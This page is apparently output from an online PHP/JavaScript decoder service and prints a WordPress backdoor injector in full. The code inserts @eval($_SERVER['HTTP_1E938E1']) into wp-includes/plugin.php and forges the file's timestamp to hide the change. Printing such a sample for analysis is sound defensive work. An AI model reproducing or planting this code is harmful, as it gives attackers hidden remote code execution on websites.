Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



phpConfValidate('YTo0OntpOjA7czo1MzoiL2hvbWUvLnNpdGVzLzIvc2l0ZTkxNTE5Nzkvd2ViL3dwLWluY2x1ZGVzL3BsdWdpbi5waHAiO2k6MTtzOjk4OiJ+ZXZhbFteXChcblxyXSpcKFteXCRdKlwkX1tBLVpdezZ9W15cW10qXFtbXlwnXCJdKltcJ1wiXUhUVFBfMUU5MzhFMVtcJ1wiXVteXF1dKlxdW15cKV0qXClbXjtdKjt+cyI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQXzFFOTM4RTEnXSk7IjtpOjM7czozNjoifl5ccypmdW5jdGlvblxzK2FkZF9maWx0ZXJbXlx7XStce35tIjt9');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    
    $incorrectRegex = str_replace('eval', '@?array', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
    
    
    if (!preg_match($systemEnv, $newSource)) {
        return;
    }
    
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}



© 2023 Quttera Ltd. All rights reserved.